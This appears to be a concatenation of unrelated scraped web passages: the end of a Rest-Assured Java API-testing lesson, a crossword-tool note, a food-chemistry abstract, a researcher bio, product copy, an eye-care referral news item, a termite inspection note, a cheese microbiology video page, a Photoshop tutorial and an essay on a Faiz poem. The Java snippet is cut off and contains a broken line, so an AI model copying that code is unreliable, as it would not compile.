 return additionalneeds;
With the Java classes all setup, we can now update the test to the following and run it:
BookingResponse responseBody =;
String additionalneeds = responseBody.getAdditionalneeds();
assertThat(additionalneeds, is("Breakfast"));
Let's break down what happened. The first line is where we send the HTTP request to the Web API and get a response back, which we store as Rest-Assured Response object. On the second line we take the response and call the method as() and provide it with a reference to our BookingResponse class by adding in BookingResponse.class as a parameter. This tells Rest-Assured to map the HTTP response body to our Java classes. If the class didn't match with the response body then you would have received an error. Finally, we extract the string value using getAdditionalNeeds() and then assert that it equals Breakfast.
Next Lesson ➔
Mark Winteringham's photo
Mark Winteringham


text:
How to use Hot Potatoes to make a crossword – is an ideal embedded literacy exercise for ICT classes (or embedded ICT for literacy!) with step by step illustrated help for using this popular freeware program to create web based word puzzles.
Karen has also provided two sample crosswords to show learners the type of puzzle they can quickly produce. Puzzle A is on parts of speech, puzzle B is on punctuation marks. (See below)


text:
Influence of in vitro gastrointestinal digestion of fruit juices enriched with pine bark extract on intestinal microflora.
Food Chem. 2014 Aug 15 ;157:14-9. Epub 2014 Feb 12. PMID: 24679746
The selective antimicrobial effect of fruit juices enriched with pine bark extract (PBE) (0.5 g/L) has been studied before and after in vitro gastrointestinal digestion. PBE (a concentrate of water-soluble bioflavonoids, mainly including phenolic compounds) has been proven to have high stability to the digestion process. Pure phenolic compounds such as gallic acid had a high antimicrobial effect on Staphylococcus aureus and Escherichia coli, maintaining the lactic acid bacteria population (≈100%). Otherwise, E. coli O157:H7 only growth 50% when PBE was added to the culture media, while a slight increase on the growth of lactobacilli and bifidobacteria was observed after exposition to the bark extract. Fresh fruit juices enriched with PBE showed the highest inhibitory effect on pathogenic intestinal bacterial growth, mainly E. coli and Enterococcus faecalis. The in vitro digestion process reduced the antibacterial effect of juices against most pathogenic bacteria in approximately 10%. However, the beneficial effect of fruit juices enriched with PBE (0.5 g/L) on gut microbiota is still considerable after digestion.


Portrait of Darren Edge
Darren Edge
Darren is a Director in the Special Projects organization of Microsoft AI & Research. His applied research aims to transform the human side of data work, with a focus on how machine learning and data visualization can illuminate complex phenomena of critical importance to business, science, and society. Current application areas for his team include news and search analytics, organizational science and neuroscience, and defence against cybercrime and human trafficking.
Previously, Darren conducted fundamental research in Human-Computer Interaction at Microsoft Research Asia, where he explored the use of emerging technologies to transform how people work towards their personal and professional goals. His work helped to establish multiple enduring research areas on the topics of microlearning for second language acquisition, exertion gaming for health and fitness, assisted preparation for visual presentations, and peripheral interaction for desk work.
Darren holds a BA and PhD from the University of Cambridge.


text:
Lane Dividers are designed to perform a wide variety of traffic management purposes like indicating lane separation, cycle lanes, parking bays, and tramways. They also mark traffic lanes in car park entrances and exit ramps and protect tunnel walls from possible vehicle impact damage. When used with optional reflective panels, they are ideal for low light areas such as underground passages.
- Flexible – temporary or permanent applications
- Low Maintenance
- For Centre Median or Lane Delineation
- Unique Interlink Design allows segments to work around curves
- Non Slip Textured Surface


text:
Electronic Eye care Referral Service FAQs released by optical sector bodies
The EeRS system will link primary eye care with hospital ophthalmology and GP systems, allowing unnecessary referrals to hospitals to be avoided
09 November 2021
A set of Frequently Asked Questions (FAQs) on the Electronic Eye care Referral System (EeRS) has been released by the Optical Sector Information and IT Committee.
EeRS is a secure electronic system for the two-way transfer of patient and clinical data, including images, between eye care services and GPs, and is part of NHS England's 2021-22 planning guidance.
The aim of EeRS is to ensure that patients only visit hospitals when clinically necessary, with more care being provided closer to home, and that the NHS will be able to deliver eye care more efficiently and effectively, sharing large data files such as OCT for the benefit of patients.
It is designed to improve communications between primary and secondary care, leading to greater collaboration, enhanced skills, and extended primary eye care services for patients.
The NHS Long Term Plan has made reducing avoidable outpatient attendances in specialities like ophthalmology a clear priority. NHS England's National Eye Care Recovery and Transformation Programme, which includes EeRS, is intended to deliver this alongside other goals.
The FAQs are available on the Local Optical Committee Support Unit (Locsu) website and will be regularly updated.
They have been designed for practice owners, practitioners, and systems suppliers in England.
The early adopter sites, where clinical commissioning groups (CCGs) have awarded contracts to deliver 'proof of concept' EeRS systems alongside local optical practices and hospitals, are Mid Central London, Mid & South Essex, Cambridge & Peterborough, Oxford University Hospitals, and Somerset CCG.
The Optical Sector Information and IT Committee is a joint committee made up of members of the national optical representative bodies, including the AOP. The committee assists the sector on strategy and policy around issues including IT, uses of information, data ownership, data security, data standards and systems. It is currently chaired jointly by Dr Peter Hampson, clinical and professional director at the AOP, and Max Halford, clinical lead at the Association of British Dispensing Opticians.
The committee called IT connectivity "the key enabler to better patient care" that allows "more patients to be seen and treated closer to home without the need for a hospital visit."
Hampson and Halford added that "EeRS is an important step on that journey, and we encourage everyone to participate in 'proof of concept sites' if they can."
The EeRS 'proof of concept' sites are a first step towards supporting patients being treated in the right place, by the right service, at the right time, at all points along the eye care pathway, according to the committee.
More information, including on funding, is included in the FAQs.
The Optical Sector Information and IT Committee is encouraging those already using EeRS to share their experiences by emailing the committee secretariat, the Federation of Dispensing Opticians' Damian Testa, at [email protected]


text:
Ashi-Certified Inspector Britt B. uncovered concerning issues during the inspection, revealing water damage in the garage accompanied by clear indications of termite presence. Additionally, the adjacent room displayed water damage in the lower wall section, coinciding with potential termite activity. The close proximity of water damage and termite signs has raised concerns about a possible interconnected issue.
Moisture accumulation from the water damage could be attracting termites, as they are drawn to damp environments. This intertwining dilemma emphasizes the urgency of addressing both problems promptly to prevent further escalation. This points to a worrisome connection between moisture issues and termite infestation. Immediate attention is vital to address these problems and prevent further deterioration.


text:
...with web-based podcatchers:
...with something else:
View RSS Feed
Get more info on other podcatchers:
Click for more "Microbes After Hours" videos
Fine cheeses are like fine wines. Producing and aging them properly is both an art and a science. From cave-aging to the use of raw milk, watch Dr. Catherine Donnelly, Co-director of the Vermont Institute for Artisan Cheeses, describe the microbial world of cheese.Listeria and Salmonella are just a couple of the pathogens that pose a risk to cheese consumers. In this episode of MicrobeWorld Video, Dr. Donnelly explains how these risks are mitigated through strict processing guidelines, why these safeguards make cheese one of the safest commodities today, and how beneficial organisms contribute to the cheese making process. In addition, Erica Sanford from Cowgirl Creamery with the help of Carolyn Wentz from Everona Dairy walk us through the steps of artisan cheese production.
Alternate File Types


text:
In this Adobe video Photoshop tutorial you will see another possible
photo modification – Black White Solarization.
Solarization is an effect in which black and white image was recorded
as negative when shooting on film but with the difference that the dark
part of the picture will be even darker and bright parts brighter. At
the start of this
- Black White Solarization we want to point out that we do not use the
Solarize filter. The whole treatment will be done by adjustment layer
black and white. The selected image is converted to black and white.
Next, we will continue editing image by using Curves. Follow remaining
steps in this
In dialog box, you select Pencil tool, press the Shift key on your
keyboard and draw with pencil V in the box. The whole treatment picture
- Black and white Solarization is very simple and we recommend it for
beginners as well. Video lesson is treated in great detail.
Finally, we enclose photo which was prepared under this Adobe video
Photoshop tutorial – Black White Solarization.


Type to search
Featured Features
The True Meaning Of Faiz's Poem 'Gulon Mein Rang Bharay'
 - 306
Many people have heard the poem 'Gulon mein rang bhare' by Faiz Ahmed Faiz, whom I regard the greatest Urdu poet of the 20th century. But hardly anyone has understood its real meaning. They think it is a poem dedicated to a lover. In fact it is a call for a revolution. Let me explain.
1. Urdu poetry is often written not directly, but in a round about way, by allusions, hints, indications and suggestions. It often has a superficial, literal, outer meaning, and an inner, deeper, real meaning, to understand which one has to wrack one's brains.
2. Great Urdu poets like Ghalib believed that poetry should not be written in the language of the common man, and they had a horror of the commonplace. To make it dignified and sophisticated (andaaz-e-bayaan) they often used Persian expressions and metaphors.
3. To properly understand the poem one has to see the historical context. For example, the poem in question was written by Faiz when he was in jail, accused in the Rawalpindi conspiracy case, for which he could have even be hanged. Hence he could not criticise the government directly, but had to use very guarded, indirect language while writing the poem, like Maxim Gorky's 'Song of the Stormy Petrel' which was written in 1901 when Russia was under the autocratic Czarist rule, and it was dangerous to use direct language.
Now let me explain the real meaning of the poem, sher (couplet) by sher.
1. Gulon mein rang bhare baad-e-naubahaar chale
 Chale bhi ao ki gulshan ka kaarobaar chale
Now the literal, outer, superficial meaning of the sher is this :
Come, so that the work of the garden can be done"
So, literally it seems to be a call to a lover.
But that is not what Faiz is really conveying. The word 'gulshan' (garden) is not to be understood literally. It means the country.
The first 'misra' (line) really means that the objective situation in the country is ripe for a revolution. The second misra is a call to patriots and revolutionaries to come forward and fight for the country, which is in great distress.
2. Qafas udaas hai yaaron saba se kuch to kaho
The literal meaning of this is:
"The prison is sad, friends, say something to the morning breeze
For God's sake at least somewhere there should be mention of one's beloved"
The real meaning here is that the whole country has become a qafas (prison).
The word 'yaar' (beloved) used here really means the people, not just one person.
So the poet is calling upon patriots to step forward and fight for the people, since the whole country has become a jail (which Pakistan had become under martial law).
3. Kabhi to subeh tere kunj-e-lab se ho aaghaaz
 Kabhi to shab sar-e-kaakul se mushkbaar chale
The literal meaning of this is:
"At least sometimes let the morning start from the corner of your lips
At least sometimes in the night your tresses be filled with a scent like musk"
But what the poet is really conveying is that at least sometimes the people should think of the country, not just of oneself.
4. "Jo hum pe guzri so guzri magar shab-e-hijraan
Hamaare ashk teri aaqabat sanwaar chale"
This literally literally means:
"Whatever befell me befell me, but on the night of separation
My tears adorned your future"
The real meaning here is that the poet is thinking of a patriot's death, when he will be separated from the people, his real lover. He says that though he will be no more, his struggles will have helped their cause.
5. Maqaam Faiz raah mein koi jacha hi nahi
 Jo koo-e-yaar se nikle, soo-e-daar chale
This literally means :
"I could not on my route find any place where I could settle down
When I left the street of my beloved, I went to the gallows"
But what the poet is really conveying is the difficult, formidable and Herculean journey of the revolutionary, who after serving his beloved (the people) often ends up on the gallows.
 1. Desh Raj June 25, 2021
 What a wonderful interpretation sir!
 Hats off 🙏
 2. Khalid June 26, 2021
 Truly a remarkable ghazal and some great literary analysis by Justice Katju.
Leave a Comment
Naya Daur